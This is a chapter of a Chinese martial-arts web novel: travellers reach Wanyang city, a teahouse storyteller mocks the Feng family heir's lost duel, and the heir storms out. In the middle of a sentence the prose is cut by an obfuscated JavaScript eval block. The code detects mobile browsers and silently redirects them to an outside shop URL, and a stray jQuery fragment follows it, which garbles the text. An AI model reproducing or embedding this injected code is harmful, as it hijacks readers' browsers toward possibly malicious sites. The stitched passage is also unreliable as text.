城楼之上,风晚雨和风晚霖注视着一行人远去。
“你真的放心让这两个孩子去?”风晚霖双手抱胸,注视着这一群人离去。
“你也知晓,现下琉璃城真正值得信任的人并不多,值得信任且有能力办成事的人,算下来也只不过她一人。”
看着那个女孩儿,风晚霖突然想到:“我闭关的这两年,你可见到朝来?”
风晚雨没想到他会问这个,沉默了一会儿才回答:“没有,她不来见我,我如何见得了她。”
看着哥哥的脸色虽无变化,但这语气里倒是藏着一丝气恼。
哎,两个犟脾气,都这么多年了,孩子都这么大了,倒是谁也不低头。风晚霖心想着。
两人都注视着前方,隔了一会儿风晚霖才开口:“何日离开?”
“今晚。”
两人跟着方闻的队伍倒是走得顺畅,风千绪一开始还闷闷的不说话,过了一天,整个人就重新焕发光彩,他这个从未出过琉璃城的小子,一路上看见什么都十分稀奇。
寒以清记忆中未曾见过曲山和琉璃城之外的世界,虽未像风千绪那样表现得如此明显,但也有不小的新鲜之感。
一路上,风景倒是秀丽,越往东走,从宜州地界越到临州,山川景色与琉璃一带渐渐不同。沿路也经过多个大的城镇,不过都没琉璃城繁华,很多镇子更是杂草丛生,一片破败之气,听方叔说,这些镇子的人早就因为那场战乱逃往他处,自然也就这样了。
方叔还说,这西南一带,也就宜州地界没出现匪乱,这临州境内匪乱也不少,各路三教九流坐地拦路,若不是这风家大旗一挂,这么一大队车马,早就被一抢而空。
“那上京那些人不管吗,官府不管吗?”寒以清不禁发问。
“这新帝不过才上任几年,加上战乱,这财力、物力、军队都贴着紧要的地方,哪管得了这些偏远之地。官府没钱,没兵,晓得如此,也没办法。”
“不过这铁拳派安于此处,倒是比那昌州好上许多,昌州的混乱更甚于此,我们此行,也避免去那昌州,直接从临州绕道去嘉州,更为稳妥。”
一连数日,都是些了无人气的破败村镇,渐渐地风千绪也失去了兴趣。
两人跟着方叔得来安心,即使路途颠簸也能于马车内摒念修炼。
很快,半月过去,他们也即将到达此行第一座大城,临州万阳城。
这临州第一大城万阳城倒是没有想象那般热闹,不过这一路走来皆无人气,见着熙熙攘攘的人群,心中也增添欢喜。
“赶路这么久,今天大家就好好在这万阳城休整休整,明早再出发。”到了驿站门口,方闻一声令下,随行人员都面露喜色。
风千绪脸上更是毫不掩饰:“风叔,这万阳城可有什么好吃的东西?”
“那去这阳喜楼?临州山羊嫩而不膻,这阳喜楼烤山羊更是一绝。”
“好呀好呀,现在就去吧。”风千绪转头拉上寒以清。
“走吧,今天就带你俩尝尝。”
“哎——”本打算一个人出门转悠转悠,但被风千绪硬拉着,加上方叔已经开口,寒以清也不好拒绝,就跟着一起去了。
走在路上,一群身材壮实的人迎面而过,他们虽衣着不一,但手上都戴着统一制式的手甲,显然是属于同一门派。
似是感受到三人的注视,为首的那位男子多看了他们几眼,方闻礼貌回视,那人也就继续往前离开。
见几人走远,寒以清才开口:“那几人可是方叔说的铁拳派?”
“这铁拳派以一拳破长空的破空拳称霸临州,最有特色的便是他们的手甲手腕部位刻有闪电纹样的图案,不过这万阳向来是临州的地盘,就算不以此为依据判断,大概也是他们。”
“前些年生意往来与这铁拳派有过接触,他们那个掌门人气性很小,下面手脚也不干净,后面也就没继续合作了。”
“听说后面这铁拳派内部又分裂出一个威虎门,我就说以这掌门容不下人的气性,迟早会出问题。”
两人听得认真,都没注意到这阳喜楼就在眼前。
“不说他们了,咱们进去吃肉去。”
几人落座于大堂之中,就见着这台上的说书先生正讲得天花乱坠,场下的宾客也听得如痴如醉。
“两盘烤山羊,再来三个特色菜,一壶茶。”方闻对那小二说道。
“好嘞客官。”见着另外两位客官被那说书先生所吸引,这店小二有些得意:“几位客官真是来巧了,这钱先生可是这上霄最有名的说书先生,若不是他已经在我们阳喜楼待了半把月,几位客官都进不了这阳喜楼的门。”
有这么神奇吗?寒以清瞧见下面宾客的神情,更想听听这钱先生在讲些什么。
“我知道他,这钱先生是讲那《东周轶闻录》而成名的,我听师兄们说起过,的确很精彩。”风千绪忍不住兴奋地对两人说着,他的红耳坠一闪一闪,眼睛更是亮晶晶的。
不过虽然几人来得巧遇见了这钱先生,但也来得不巧,这说书人明显要讲到这末尾之处。
“那三皇子最后一剑直接使出那“天地浩然”,刹那间那天地间的浩然气都落在他的身上,登时震慑全场。在场之人无一没被他所震撼,连那风城主都不禁面露讶色。他那架势怕不是要将那风家少爷砍成两半,就在这时,您猜怎么着?”
那钱先生露出一个神秘的笑容,场下宾客纷纷猜测,七嘴八舌地热闹起来。
这、这、这怎么说的是半月前的比试,刚才还一脸兴奋的风千绪瞬间黑脸,他的拳头逐渐收紧,眼睛更是显露出怒色来。
寒以清有点想笑,这说书的怎么把那三皇子说得像是英雄一样,到了风千绪就成了风家少爷。不过看到风千绪的脸色,她又憋了回去。
方闻哈哈笑了两声,不过还未笑完,就被风千绪一瞪,于是那两声笑便转变为“咳咳”两声。
钱先生醒木一拍,又继续说了下去:“那风晚霖将军从天而降,风眠剑直直地插在那风家少爷的面前,这才堪堪挡住这滚滚而来的气势。”
“三皇子殿下单立于台上,只留下一个孤独的背影。”
“好!好!这三皇子殿下不愧是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549406|202500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
楚国师的徒弟!”场下叫好声连连,无一不为这精彩故事叫好,除了那一人。
这说的什么话,什么叫“堪堪”接住那气势,阿爹怎么只会“堪堪”接住,这钱先生莫不是收了那三皇子的钱财,如此吹捧他,什么狗屁说书的,再也不期待了!
眼见着这风千绪马上就要怒火冲天,菜却合时宜地上来了,方闻赶紧招呼两人吃菜。
幸那说书的没继续说下去,要不然这小子怕是要把这楼给掀了。
但这说书的不说,其他人可不会停,旁边两人就开始讨论起来:“这风将军早不出现晚不出现,偏偏这个时候出来,怕不是知道他儿子打不过那三皇子,为了不让他儿子输得那样惨,故意挡那一剑的吧。”
“我看就是,可能那三皇子也不见得有多厉害,就是琉璃城下一代不咋行。你看那青云榜上琉璃城可有一人上榜?”
“若这琉璃城的下一辈都是这些货色,怕是这琉璃城天下第一武学城的名号要拱手让人了。”
“你们两个说什么呢?”风千绪一拍桌子,直接起身怒视着旁边那两个人。
寒以清的筷子被他吓得直接落在了桌上,方闻刚夹起的肉更是直挺挺摔在了地上。
“你谁呀你,我说什么与你有关系吗?”两人见此,不爽地看向他。
“你们可亲眼见这场比赛,怎知那琉璃城那对战的风公子不行?”
“这说书的都是这么说的,你要是不满,你找他去啊,况且都输了,还说什么行不行?”
“就是,你莫不是就是那个输家吧,要不然这么激动干嘛?”
吵闹声过大,周围的宾客都纷纷看了过来,连包厢中的宾客都探出头来。
见着情况不妙,寒以清赶紧拉住风千绪,方闻则是将风千绪拦在身后,笑着解释道:“抱歉了两位兄弟,我家孩子打扰两位了,他什么都不懂,两位大人不记小人过,就原谅我家小孩的莽撞了。”
说着,又叫了小二:“给这两位兄弟上一盘烤羊肉。”
风千绪眼中的怒气不减,眼眶周围渐渐发红,他欲上前,寒以清只好在他耳边小声说着:“别忘了我们此行出来做什么。”
风千绪拉回理智,他挣脱寒以清的手:“别跟过来。”
说完又跑了出去。
方闻本想追过去,又被寒以清一把拦住:“方叔,就让他一个人静静吧。”
方闻看着门口,哀叹了一声,又坐下了。
“小绪这孩子,从小便是在众星捧月下长大,加上他天赋不错,人就自然也有些傲气,他从小失去母亲,他爹时常闭关,他大伯又公务繁忙,这琉璃城便无人能管得了他。小时候他自是有些怨言的,不过后来长大了些,懂得他们身上担得责任,倒是越来越崇拜他爹,由不得外人说上一句坏话,这次比试,怕的不是伤了他自己那份,而是伤了他爹的还有琉璃城的名声。”
寒以清若有所思,她看着空着的台上,仿佛想到了什么。
等着两人出了这门,寒以清突然说道:“方叔,你先回驿站,我等会儿就回去。”说完拿着剑就跑进了阳喜楼。